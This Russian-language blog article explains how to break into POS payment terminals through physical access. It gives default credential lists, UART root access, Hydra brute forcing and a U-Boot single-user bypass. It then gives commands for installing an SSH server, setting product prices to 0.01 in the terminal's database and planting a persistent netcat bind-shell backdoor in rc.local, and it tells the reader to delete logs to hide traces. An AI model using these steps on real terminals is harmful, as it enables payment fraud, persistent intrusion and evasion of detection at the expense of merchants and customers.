Pull to refresh

Анализ уязвимостей POS-терминалов

Level of difficultyEasy

Пару дней назад стало интересно как работают POST терминалы и какие уязвимости в них бывают. Не советую воспринимать эту статтю как руководство по взлому, скорее просто как поверхностный взгляд на тему.

POS-терминалы (Point of Sale) — это специализированные компьютеры для обработки платежей. Несмотря на их критическую роль, многие из них работают на устаревших ОС (Windows CE, Embedded Linux). Как раз в этих системах и стоит искать уязвимости.

💻 Анатомия типичного POS-терминала:

Железо:

Часто x86 или ARM-процессоры.

Сенсорный экран + фискальный регистратор (для печати чеков).

Иногда — слоты для SD-карт (ключ к взлому!).

Софт:

Windows CE (уязвимый, но живучий).

Linux-based (например, на базе Raspberry Pi).

Проприетарное ПО для работы с платежами (часто с дырами).

🔧 Что понадобится?

  • Физический доступ к терминалу (или его эмулятор).

  • Минимальный набор инструментов:

Отвёртка (для разборки).

USB-клавиатура (если есть USB-порт).

SD-карта (если терминал использует её для ОС).

Переходник для последовательного порта (UART, если есть разъём).

  • Софт:

Binwalk (анализ прошивок).

IDA Pro/Ghidra (реверс-инжиниринг).

Metasploit (если есть сетевой доступ).

Wireshark (анализ трафика).

📌 На что смотреть в первую очередь?

1. Физические интерфейсы

  • USB-порты → можно подключить клавиатуру и вызвать Ctrl+Alt+Del (на некоторых Windows CE открывается диспетчер задач).

  • SD-карта → если ОС загружается с неё, можно изменить файлы.

  • Последовательный порт (UART) → часто даёт root-доступ через терминал (ищи контакты TX/RX/GND на плате).

  • Кнопки сброса → комбинации вроде «удержать 10 секунд» могут сбрасывать настройки.

2. Дефолтные учётные данные

Как бы стандартно не звучало но всегда нужно проверять. Попробуй:

  • Windows CE: Administrator: (пустой пароль), admin:admin, 1:1.

  • Linux-based: root:root, pos:pos, user:user.

  • Проприетарные системы → гугли модель + «default password».

3. Сетевые уязвимости

  • Открытые порты (например, Telnet 23, FTP 21, SSH 22).

  • Веб-интерфейс (если есть) → ищи SQL-инъекции или XSS.

  • Уязвимости в платежных протоколах (например, NEXO/ISO 8583).

4. Уязвимости в ПО

  • Драйверы фискальных регистраторов → часто содержат уязвимости переполнения буфера.

  • Софт для обновлений → можно подменить файл обновления на свой.

  • DLL-инъекция (для Windows CE) → подмена системных библиотек.

По факту быстро взломать POST терминал в реальных условиях может оказаться не простой задачей. Нужно адекватно подготовится и собрать достаточно данных о устройстве, а фактор времени так же сыграет свою роль. Вряд ли ты сможешь долго стоять и разбирать терминал. Но давайте приведу пример успешной атаки. Будем получать root права.

💥 Пример атаки: получение root через UART

Шаг 1: Поиск UART-порта на плате

Что ищем? 4 контакта (обычно в ряд), подписанные:

  • TX (Transmit — передача данных от устройства к вам)

  • RX (Receive — приём данных от вас к устройству)

  • GND (Ground — земля)

  • VCC (Питание, но его лучше не трогать!).

Как найти:

  1. Визуальный осмотр:

  2. Ищем надписи на плате (например, UART1CON3).

  3. Типичные места: рядом с процессором или чипом памяти.

  4. Пример разметки:

[VCC] [RX] [TX] [GND]

Мультиметр в помощь:

Если контакты не подписаны:

  1. GND — звонится на корпус или металлические части.

  2. VCC — показывает 3.3V или 5V относительно GND.

  3. TX — напряжение меняется при включении устройства (передача данных).

⚠️ Важно:

  • Не подключайтесь к VCC — можно спалить адаптер!

  • Если контактов 3 — скорее всего, это TX, RX, GND.

Шаг 2: Подключаемся через терминал

Необходимое железо:

  • UART-адаптер (например, CH340FT232RL) (Может потом напишу статтю что это и какие модели бывают).

  • Провода «папа-папа» для подключения.

Схема подключения:

POS-терминал      UART-адаптер
      TX  ------------>  RX  
      RX  <------------  TX  
      GND ------------>  GND

Настройка терминала:

Linux (screen/minicom):

sudo screen /dev/ttyUSB0 115200
  1. 115200 — стандартная скорость (если не работает, пробуй 960057600).

  2. Если экран пустой — попробуй поменять TX/RX местами.

Windows (PuTTY):

  1. Выбираем Serial, порт COM3 (или другой), скорость 115200.

  2. Тип подключения: Serial.

Что должно появиться:

  • При включении терминала — вывод загрузки (логи U-Boot, ядро Linux).

  • Возможные варианты:

Welcome to POS Terminal!
login: _

или

root@pos-terminal:~# _

Шаг 3: Получаем root

Сценарий 1: Стандартные пароли

Банальная вещь но всегда стоит пробовать. Пробуем (по очереди):

  • root:root

  • admin:admin

  • pos:pos

  • user:user

  • Пустой пароль (просто нажимаем Enter).

Сценарий 2: Пароль неизвестен

Варианты обхода:

  1. Перебор паролей Hydra (если есть сеть):

hydra -l root -P rockyou.txt telnet://192.168.1.100

2. Сброс через JTAG (если есть разъём JTAG на плате).

3. Эксплуатация загрузчика (если есть доступ к U-Boot):

В момент загрузки жмём любую клавишу, чтобы прервать автозагрузку.

В консоли U-Boot:

setenv bootargs single
boot

Получаем root-шелл без пароля.

Шаг 4: Модифицируем систему

1. Добавление SSH-сервера (для Linux)

# Устанавливаем Dropbear (лёгкий SSH-сервер)
opkg update
opkg install dropbear

# Включаем автозагрузку
/etc/init.d/dropbear enable
/etc/init.d/dropbear start

# Меняем пароль root
passwd root

Теперь можно подключаться извне:

ssh root@192.168.1.100

Подмена цен в БД (если терминал на SQLite)

# Ищем БД с товарами
find / -name "*.db"

# Редактируем (например, через sqlite3)
sqlite3 /var/pos/products.db
UPDATE items SET price=0.01 WHERE id=123;

Установка бэкдора

Добавляем в /etc/rc.local:

#!/bin/sh
nc -lvp 4444 -e /bin/sh &

После перезагрузки:

nc 192.168.1.100 4444

📌 Важные нюансы

Разные модели — разная защита:

  1. Некоторые терминалы шифруют прошивку (понадобится дизассемблер).

  2. В новых может быть Secure Boot (блокировка модификаций).

Логирование:

  1. POS-терминалы часто пишут логи в /var/log — удаляй следы!

Сетевые ограничения:

  1. Если терминал в изолированной сети — потребуется физический доступ.

Если хотите попробовать взломать POST терминал то советую тренироваться на эмуляторах.

1. Эмуляция Windows CE (основа многих старых терминалов)

QEMU + образ WinCE

Скачайте образ: Windows CE 6.0 Emulator

Запустите через QEMU:

qemu-system-arm -M versatilepb -kernel nk.bin

Готовые эмуляторы

Microsoft Device Emulator (для WinCE 5.0/6.0)

Platform Builder (сложнее, но точнее эмулирует железо)

2. Эмуляция Linux-based терминалов

Buildroot + QEMU

Создайте минимальный образ Linux для ARM (как в реальных терминалах):

git clone https://github.com/buildroot/buildroot
make qemu_arm_vexpress_defconfig
make
qemu-system-arm -M vexpress-a9 -kernel output/images/zImage -dtb output/images/vexpress-v2p-ca9.dtb -drive file=output/images/rootfs.ext2,if=sd -append "console=ttyAMA0,115200 root=/dev/mmcblk0" -serial stdio

3. Готовые образы:

4. Специализированные эмуляторы POS

OPOS (OLE for POS) Simulator

Эмулирует работу фискальных регистраторов, дисплеев и т.д.

sudo apt install libopos-dev

🌐 Атаки без физического доступа: почему мы не разобрали Wireshark и Metasploit подробно

В начале я упомянул Wireshark и Metasploit как инструменты для сетевых атак, но не стал углубляться в них. Вот почему:

1. Wireshark: перехват трафика — только начало

Что делает:

  • Позволяет анализировать сетевой трафик (например, данные платежей, логины админов).

Проблемы:

  • Большинство современных терминалов используют шифрование (TLS). Без ключей расшифровки — только «мусор» в логах.

  • В изолированных сетях (например, локальная сеть магазина) перехват требует уже скомпрометированного устройства.

Когда полезен:

  • Если терминал отправляет данные в открытом виде (устаревшие протоколы вроде FTP, Telnet).

2. Metasploit: «тяжёлая артиллерия» с ограничениями

Что делает:

  • Предоставляет готовые эксплоиты для уязвимостей (например, CVE-2017-9476 для WinCE).

Проблемы:

  • Большинство POS-терминалов не имеют прямого выхода в интернет, что блокирует удалённые атаки.

  • Современные системы патчатся (но старые WinCE — да, уязвимы).

Когда полезен:

  • Если терминал имеет открытый RDP-порт (редко, но бывает).

  • Работает на публичном IP (например, в маленьких кафе с «голым» терминалом).

Wireshark и Metasploit — мощные инструменты, но для POS-терминалов они вторичны. Физические уязвимости (UART, дефолтные пароли) — это «низко висящие фрукты», которые дают быстрый результат. Хотя если будет настроение то потом разберу как работают сетевые атаки на пост терминалы.

На этом пожалуй закончим. А если хотите заказть аудит безопасности сервера/сайта или есть другие вопросы по безопасности - обращайтесь ко мне напрямую @Marka_kol.

Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.